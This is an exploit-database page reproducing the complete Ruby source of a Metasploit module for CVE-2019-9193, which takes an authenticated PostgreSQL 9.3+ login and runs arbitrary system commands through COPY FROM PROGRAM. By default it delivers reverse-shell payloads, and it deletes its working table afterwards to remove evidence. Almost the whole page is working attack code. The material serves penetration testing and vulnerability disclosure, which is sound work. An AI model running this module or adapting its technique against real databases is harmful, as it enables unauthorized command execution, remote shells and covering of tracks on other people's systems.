PostgreSQL 9.3 – COPY FROM PROGRAM Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-05-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46813/
  • \##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/exploit/postgres'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::Postgres
    include Msf::Exploit::Remote::Tcp
    include Msf::Auxiliary::Report
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',
    'Description' => %q(
    Installations running Postgres 9.3 and above have functionality which allows for the superuser
    and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.
    This allows arbitrary command execution as though you have console access.
    
    This module attempts to create a new table, then execute system commands in the context of
    copying the command output into the table.
    
    This module should work on all Postgres systems running version 9.3 and above.
    
    For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl
    
    For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp
    Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload
    or other customised command.
    ),
    'Author' => [
    'Jacob Wilkin' # Exploit Author of Module
    ],
    'License' => MSF_LICENSE,
    'References' => [
    ['CVE', '2019-9193'],
    ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],
    ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
    ],
    'PayloadType' => 'cmd',
    'Platform' => %w(linux unix win osx),
    'Payload' => {
    },
    'Arch' => [ARCH_CMD],
    'Targets'=>
    [
    [
    'Unix/OSX/Linux', {
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'DefaultOptions' => {
    'Payload' => 'cmd/unix/reverse_perl' }
    }
    ],[
    'Windows - PowerShell (In-Memory)', {
    'Platform' => 'windows',
    'Arch' => ARCH_CMD,
    'DefaultOptions' => {
    'Payload' => 'cmd/windows/powershell_reverse_tcp' }
    }
    ],[
    'Windows (CMD)',
    'Platform' => 'win',
    'Arch' => [ARCH_CMD],
    'Payload' => {
    'Compat' => {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'adduser, generic'
    }
    }
    ],
    ],
    'DisclosureDate' => 'Mar 20 2019'
    ))
    
    register_options([
    Opt::RPORT(5432),
    OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
    OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
    ])
    
    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
    end
    
    # Return the datastore value of the same name
    # @return [String] tablename for table to use with command execution
    def tablename
    datastore['TABLENAME']
    end
    
    def check
    vuln_version? ? CheckCode::Appears : CheckCode::Safe
    end
    
    def vuln_version?
    version = postgres_fingerprint
    return false unless version[:auth]
    vprint_status version[:auth].to_s
    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
    if Gem::Version.new(version_full) >= Gem::Version.new('9.3')
    return true
    else
    return false
    end
    end
    
    def login_success?
    status = do_login(username, password, database)
    case status
    when :noauth
    print_error "#{peer} - Authentication failed"
    return false
    when :noconn
    print_error "#{peer} - Connection failed"
    return false
    else
    print_status "#{peer} - #{status}"
    return true
    end
    end
    
    def execute_payload
    # Drop table if it exists
    query = "DROP TABLE IF EXISTS #{tablename};"
    drop_query = postgres_query(query)
    case drop_query.keys[0]
    when :conn_error
    print_error "#{peer} - Connection error"
    return false
    when :sql_error
    print_warning "#{peer} - Unable to execute query: #{query}"
    return false
    when :complete
    print_good "#{peer} - #{tablename} dropped successfully"
    else
    print_error "#{peer} - Unknown"
    return false
    end
    
    # Create Table
    query = "CREATE TABLE #{tablename}(filename text);"
    create_query = postgres_query(query)
    case create_query.keys[0]
    when :conn_error
    print_error "#{peer} - Connection error"
    return false
    when :sql_error
    print_warning "#{peer} - Unable to execute query: #{query}"
    return false
    when :complete
    print_good "#{peer} - #{tablename} created successfully"
    else
    print_error "#{peer} - Unknown"
    return false
    end
    
    # Copy Command into Table
    cmd_filtered = payload.encoded.gsub("'", "''")
    query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';"
    copy_query = postgres_query(query)
    case copy_query.keys[0]
    when :conn_error
    print_error "#{peer} - Connection error"
    return false
    when :sql_error
    print_warning "#{peer} - Unable to execute query: #{query}"
    if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
    print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
    return false
    end
    print_warning "#{peer} - Unable to execute query: #{query}"
    return false
    when :complete
    print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
    else
    print_error "#{peer} - Unknown"
    return false
    end
    
    if datastore['DUMP_TABLE_OUTPUT']
    # Select output from table for debugging
    query = "SELECT * FROM #{tablename};"
    select_query = postgres_query(query)
    case select_query.keys[0]
    when :conn_error
    print_error "#{peer} - Connection error"
    return false
    when :sql_error
    print_warning "#{peer} - Unable to execute query: #{query}"
    return false
    when :complete
    print_good "#{peer} - #{tablename} contents:\n#{select_query}"
    return true
    else
    print_error "#{peer} - Unknown"
    return false
    end
    end
    # Clean up table evidence
    query = "DROP TABLE IF EXISTS #{tablename};"
    drop_query = postgres_query(query)
    case drop_query.keys[0]
    when :conn_error
    print_error "#{peer} - Connection error"
    return false
    when :sql_error
    print_warning "#{peer} - Unable to execute query: #{query}"
    return false
    when :complete
    print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
    else
    print_error "#{peer} - Unknown"
    return false
    end
    end
    
    def do_login(user, pass, database)
    begin
    password = pass || postgres_password
    result = postgres_fingerprint(
    db: database,
    username: user,
    password: password
    )
    
    return result[:auth] if result[:auth]
    print_error "#{peer} - Login failed"
    return :noauth
    
    rescue Rex::ConnectionError
    return :noconn
    end
    end
    
    def exploit
    #vuln_version doesn't seem to work
    #return unless vuln_version?
    return unless login_success?
    print_status("Exploiting...")
    if execute_payload
    print_status("Exploit Succeeded")
    else
    print_error("Exploit Failed")
    end
    postgres_logout if @postgres_conn
    end
    end